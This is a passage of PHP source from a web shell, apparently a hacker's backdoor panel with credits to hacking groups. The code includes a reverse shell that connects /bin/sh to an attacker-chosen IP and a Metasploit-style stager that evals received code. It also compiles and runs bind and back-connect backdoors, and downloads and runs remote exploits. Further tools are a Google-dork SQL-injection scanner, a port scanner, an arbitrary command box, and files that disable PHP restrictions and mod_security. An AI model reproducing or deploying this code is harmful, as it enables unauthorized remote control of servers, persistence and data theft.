  3877. $s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
  3878. echo $s_result;
  3879. if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
  3880. if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
  3881. if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
  3882. if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
  3883. if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
  3884. umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
  3885. $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  3886. $process = proc_open($shell, $descriptorspec, $pipes);
  3887. if(!is_resource($process)) exit(1);
  3888. stream_set_blocking($pipes[0], 0);
  3889. stream_set_blocking($pipes[1], 0);
  3890. stream_set_blocking($pipes[2], 0);
  3891. stream_set_blocking($sock, 0);
  3892. while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  3893. if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
  3894. if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
  3895. if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
  3896. }
  3897. ////////////////////////////////////////////////////////////////////////////
  3898. elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
  3899. {
  3900. ?>
  3901. <form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
  3902. <?php
  3903. @set_time_limit(0);
  3904. @error_reporting(0);
  3905. function sws_domain_info($site)
  3906. {
  3907. $getip = @file_get_contents("http://networktools.nl/whois/$site");
  3908. flush();
  3909. $ip = @findit($getip,'<pre>','</pre>');
  3910. return $ip;
  3911. flush();
  3912. }
  3913. function sws_net_info($site)
  3914. {
  3915. $getip = @file_get_contents("http://networktools.nl/asinfo/$site");
  3916. $ip = @findit($getip,'<pre>','</pre>');
  3917. return $ip;
  3918. flush();
  3919. }
  3920. function sws_site_ser($site)
  3921. {
  3922. $getip = @file_get_contents("http://networktools.nl/reverseip/$site");
  3923. $ip = @findit($getip,'<pre>','</pre>');
  3924. return $ip;
  3925. flush();
  3926. }
  3927. function sws_sup_dom($site)
  3928. {
  3929. $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
  3930. $ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
  3931. return $ip;
  3932. flush();
  3933. }
  3934. function sws_port_scan($ip)
  3935. {
  3936. $list_post = array('80','21','22','2082','25','53','110','443','143');
  3937. foreach ($list_post as $o_port)
  3938. {
  3939. $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
  3940. if($connect)
  3941. {
  3942. echo " $ip : $o_port ??? <u style=\"color: #00ff00\">Open</u> <br /><br />";
  3943. flush();
  3944. }
  3945. }
  3946. }
  3947. function findit($mytext,$starttag,$endtag) {
  3948. $posLeft = @stripos($mytext,$starttag)+strlen($starttag);
  3949. $posRight = @stripos($mytext,$endtag,$posLeft+1);
  3950. return @substr($mytext,$posLeft,$posRight-$posLeft);
  3951. flush();
  3952. }
  3953. echo '<br><br><center>';
  3954. echo '
  3955. <br />
  3956. <div class="sc"><form method="post"><table class="tabnet">
  3957. <tr><th colspan="5">Website Whois</th></tr>
  3958. <tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#00ff00;background-color:#000000" class="inputz" value="site.com" /> &nbsp <input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan !" /></td></tr>
  3959. </table></form></div>';
  3960. if(isset($_POST['scan']))
  3961. {
  3962. $site = @htmlentities($_POST['site']);
  3963. if (empty($site)){die('<br /><br /> Not add IP .. !');}
  3964. $ip_port = @gethostbyname($site);
  3965. echo "
  3966. <br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
  3967. <div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
  3968. <div class=\"ru\"> <br /><br /><pre>
  3969. ";
  3970. echo "".sws_port_scan($ip_port)." </pre></div> ";
  3971. flush();
  3972. echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
  3973. <div class=\"ru\">
  3974. <pre>".sws_domain_info($site)."</pre></div>";
  3975. flush();
  3976. echo "
  3977. <div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
  3978. <div class=\"ru\">
  3979. <pre>".sws_net_info($site)."</pre> </div>";
  3980. flush();
  3981. echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
  3982. <div class=\"ru\">
  3983. <pre>".sws_sup_dom($site)."</pre> </div>";
  3984. flush();
  3985. echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
  3986. <div class=\"ru\">
  3987. <pre>".sws_site_ser($site)."</pre> </div>
  3988. <div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
  3989. flush();
  3990. }
  3991. echo '</center>';
  3992. }
  3993. ///////////////////////////////////////////////////////////////////////////
  3994. elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
  3995. {
  3996. ?>
  3997. <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
  3998. <center><br><br><img src='http://i.imgur.com/3m7leCw.jpg'>
  3999. <br><br><br>terimakasih buat teman2 ku yang mau membantu saya menyelesaikan shell saya yang versi v3.1 spesial edition ini
  4000. <br><br>[ s4mp4h | areg noid | Mr Gãndrunx (Hiddenymouz) | ardan | FH04ZA | antonio HSH | war0x | x shadow | bagonk ]<br>dan semua kawan-kawan ku
  4001. <br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>
  4002. <marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
  4003. <p><b><font size="3" color="#00ff00">=[ teman-temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>
  4004. Uyap<br>
  4005. Zinbad<br>FH04ZA<br>
  4006. Sani marpic<br>
  4007. Madan Cyber<br>
  4008. Cah Bagus<br>
  4009. RPG<br>Vallent<br>
  4010. P4njie_a.k.a<br>
  4011. Dwi Syntia<br>
  4012. Ærul Ringgo's<br>
  4013. Ti'ar Variabel<br>
  4014. Imei7<br>
  4015. Hmei7<br>
  4016. De Vinclous<br>
  4017. Blankon33<br>
  4018. Doza Cracker<br>
  4019. Ying Cracker<br>
  4020. Iranian Hacker<br>
  4021. Danger Hacker<br>
  4022. Admin07<br>
  4023. Zhou you<br>
  4024. Ksatria.us<br>
  4025. Cyber Inj3cti0n<br>
  4026. K2ll33d<br>
  4027. Sultan Haikal<br>
  4028. Syntax_Error<br>
  4029. Aqis<br>
  4030. Black Shadow<br>
  4031. crack999<br>
  4032. Fnatic Crew<br>
  4033. Coretan Rizal<br>
  4034. Malaikat Maut<br>
  4035. Dan teman-teman ku semua<br><br>
  4036. =[ grup hacking ]=<br><br>
  4037. Black Newbie Team<br>
  4038. 3xpire Cyber Army<br>
  4039. Hack Forum<br>
  4040. Indonesia Fighter Cyber<br>
  4041. Biang Kerox Team<br>
  4042. Anonymous<br>Gaza Hacker<br>Albanian Hacker<br>Devilz c0de<br>Muslims Cyber Shellz<br>
  4043. X-Code<br>
  4044. Indonesian Security<br>
  4045. Indonesia Black Cyber<br>
  4046. B-Compi<br>
  4047. Jasakom<br>
  4048. Mojopahit Fighter Cyber<br>
  4049. Lappis<br>
  4050. Mojopahit Cyber Dark<br>
  4051. Crack Hack Forum<br>
  4052. dan semua grup hacking<br>
  4053. yang<br>
  4054. saya naungi dan singgahi<br><br><br>By<br>Cyber173 a.k.a X'1n73ct<br><br><br>
  4055. </font></b></p>
  4056. </center>
  4057. </marquee></center><br><br><br>
  4058. <?php
  4059. }
  4060. //////////////////////////////////////////////////////////////////////////////
  4061. elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
  4062. {
  4063. ?>
  4064. <form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
  4065. <?php
  4066. echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> &nbsp;&nbsp;<input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
  4067. ob_start();
  4068. set_time_limit(0);
  4069. if (isset($_POST['scan'])) {
  4070. $browser = $_SERVER['HTTP_USER_AGENT'];
  4071. $first = "startgoogle.startpagina.nl/index.php?q=";
  4072. $sec = "&start=";
  4073. $reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
  4074. for($id=0 ; $id<=30; $id++){
  4075. $page=$id*10;
  4076. $dork=urlencode($_POST['dork']);
  4077. $url = $first.$dork.$sec.$page;
  4078. $curl = curl_init($url);
  4079. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  4080. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  4081. $result = curl_exec($curl);
  4082. curl_close($curl);
  4083. preg_match_all($reg,$result,$matches);
  4084. }
  4085. foreach($matches[1] as $site){
  4086. $url = preg_replace("/=/", "='", $site);
  4087. $curl=curl_init();
  4088. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  4089. curl_setopt($curl,CURLOPT_URL,$url);
  4090. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  4091. curl_setopt($curl,CURLOPT_TIMEOUT,'5');
  4092. $GET=curl_exec($curl);
  4093. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT *
  4094. FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
  4095. echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> &#60;-- SQLI Vuln
  4096. Found..</font></b></center>';
  4097. ob_flush();flush();
  4098. }else{
  4099. echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> &#60;-- Not Vuln</font></center>';
  4100. ob_flush();flush();
  4101. }
  4102. ob_flush();flush();
  4103. }
  4104. ob_flush();flush();
  4105. }
  4106. ob_flush();flush();
  4107. }
  4108. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
  4109. if(isset($_POST['uploadcomp'])){
  4110. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  4111. $path = magicboom($_POST['path']);
  4112. $fname = $_FILES['file']['name'];
  4113. $tmp_name = $_FILES['file']['tmp_name'];
  4114. $pindah = $path.$fname;
  4115. $stat = @move_uploaded_file($tmp_name,$pindah);
  4116. if ($stat) {
  4117. $msg = "file uploaded to $pindah";
  4118. }
  4119. else $msg = "failed to upload $fname";
  4120. }
  4121. else $msg = "failed to upload $fname";
  4122. }
  4123. elseif(isset($_POST['uploadurl'])){
  4124. $pilihan = trim($_POST['pilihan']);
  4125. $wurl = trim($_POST['wurl']);
  4126. $path = magicboom($_POST['path']);
  4127. $namafile = download($pilihan,$wurl);
  4128. $pindah = $path.$namafile;
  4129. if(is_file($pindah)) {
  4130. $msg = "file uploaded to $pindah";
  4131. }
  4132. else $msg = "failed to upload $namafile";
  4133. }
  4134. ?>
  4135. <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
  4136. <table class="tabnet" style="width:320px;padding:0 1px;">
  4137. <tr><th colspan="2">Upload from computer</th></tr>
  4138. <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
  4139. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  4140. </tr>
  4141. </table></form>
  4142. <table class="tabnet" style="width:320px;padding:0 1px;">
  4143. <tr><th colspan="2">Upload from url</th></tr>
  4144. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
  4145. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
  4146. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  4147. <tr><td><select size="1" class="inputz" name="pilihan">
  4148. <option value="wwget">wget</option>
  4149. <option value="wlynx">lynx</option>
  4150. <option value="wfread">fread</option>
  4151. <option value="wfetch">fetch</option>
  4152. <option value="wlinks">links</option>
  4153. <option value="wget">GET</option>
  4154. <option value="wcurl">curl</option>
  4155. </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
  4156. </tr>
  4157. </table>
  4158. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  4159. <?php }
  4160. elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
  4161. // bind connect with c
  4162. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
  4163. $port = trim($_POST['port']);
  4164. $passwrd = trim($_POST['bind_pass']);
  4165. tulis("bdc.c",$port_bind_bd_c);
  4166. exe("gcc -o bdc bdc.c");
  4167. exe("chmod 777 bdc");
  4168. @unlink("bdc.c");
  4169. exe("./bdc ".$port." ".$passwrd." &");
  4170. $scan = exe("ps aux");
  4171. if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  4172. else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
  4173. }
  4174. // bind connect with perl
  4175. elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
  4176. $port = trim($_POST['port']);
  4177. $passwrd = trim($_POST['bind_pass']);
  4178. tulis("bdp",$port_bind_bd_pl);
  4179. exe("chmod 777 bdp");
  4180. $p2=which("perl");
  4181. exe($p2." bdp ".$port." &");
  4182. $scan = exe("ps aux");
  4183. if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  4184. else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
  4185. }
  4186. // back connect with c
  4187. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
  4188. $ip = trim($_POST['ip']);
  4189. $port = trim($_POST['backport']);
  4190. tulis("bcc.c",$back_connect_c);
  4191. exe("gcc -o bcc bcc.c");
  4192. exe("chmod 777 bcc");
  4193. @unlink("bcc.c");
  4194. exe("./bcc ".$ip." ".$port." &");
  4195. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  4196. }
  4197. // back connect with perl
  4198. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  4199. $ip = trim($_POST['ip']);
  4200. $port = trim($_POST['backport']);
  4201. tulis("bcp",$back_connect);
  4202. exe("chmod +x bcp");
  4203. $p2=which("perl");
  4204. exe($p2." bcp ".$ip." ".$port." &");
  4205. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  4206. }
  4207. elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
  4208. {
  4209. $pilihan = trim($_POST['pilihan']);
  4210. $wurl = trim($_POST['wurl']);
  4211. $namafile = download($pilihan,$wurl);
  4212. if(is_file($namafile)) {
  4213. $msg = exe($wcmd);
  4214. }
  4215. else $msg = "error: file not found $namafile";
  4216. }
  4217. ?>
  4218. <table class="tabnet">
  4219. <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
  4220. <tr>
  4221. <td>
  4222. <table>
  4223. <form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
  4224. <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
  4225. <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
  4226. <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  4227. <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
  4228. </table>
  4229. </td>
  4230. <td>
  4231. <table>
  4232. <form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
  4233. <tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
  4234. <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
  4235. <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  4236. <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
  4237. </table>
  4238. </td>
  4239. <td>
  4240. <table>
  4241. <form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
  4242. <tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
  4243. <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
  4244. </tr>
  4245. <tr><td><select size="1" class="inputz" name="pilihan">
  4246. <option value="wwget">wget</option>
  4247. <option value="wlynx">lynx</option>
  4248. <option value="wfread">fread</option>
  4249. <option value="wfetch">fetch</option>
  4250. <option value="wlinks">links</option>
  4251. <option value="wget">GET</option>
  4252. <option value="wcurl">curl</option>
  4253. </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
  4254. </table>
  4255. </td>
  4256. </tr>
  4257. </table>
  4258. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  4259. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
  4260. <form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
  4261. <table class="cmdbox">
  4262. <tr><td colspan="2">
  4263. <textarea class="output" readonly>
  4264. <?php
  4265. if(isset($_POST['submitcmd'])) {
  4266. echo @exe($_POST['cmd']);
  4267. }
  4268. ?>
  4269. </textarea>
  4270. <tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
  4271. </table>
  4272. </form>
  4273. <?php }
  4274. else {
  4275. if(isset($_GET['delete']) && ($_GET['delete'] != "")){
  4276. $file = $_GET['delete'];
  4277. @unlink($file);
  4278. }
  4279. elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
  4280. @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
  4281. }
  4282. elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
  4283. $path = $pwd.$_GET['mkdir'];
  4284. @mkdir($path);
  4285. }
  4286. $buff = showdir($pwd,$prompt);
  4287. echo $buff;
  4288. }
  4289. ?>
  4290. <br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
  4291. <?php
  4292. if(isset($_POST['ini']))
  4293. {
  4294. $byphp = "safe_mode = Off
  4295. disable_functions = None
  4296. safe_mode_gid = OFF
  4297. open_basedir = OFF
  4298. allow_url_fopen = On";
  4299. $byht = "<IfModule mod_security.c>
  4300. SecFilterEngine Off
  4301. SecFilterScanPOST Off
  4302. SecFilterCheckURLEncoding Off
  4303. SecFilterCheckUnicodeEncoding Off
  4304. </IfModule>";
  4305. file_put_contents("php.ini",$byphp);
  4306. file_put_contents(".htaccess",$byht);
  4307. echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
  4308. die();
  4309. }
  4310. ?><center><br><br><div class="info">#[~ Edited by: c0rruption420 ~]#</div><br>
  4311. <div class="jaya">&copy; h4ckz0ne.net</div></center><br><br>
  4312. </script>
  4313. </div>
  4314. </body>
  4315. </html>

comments powered by Disqus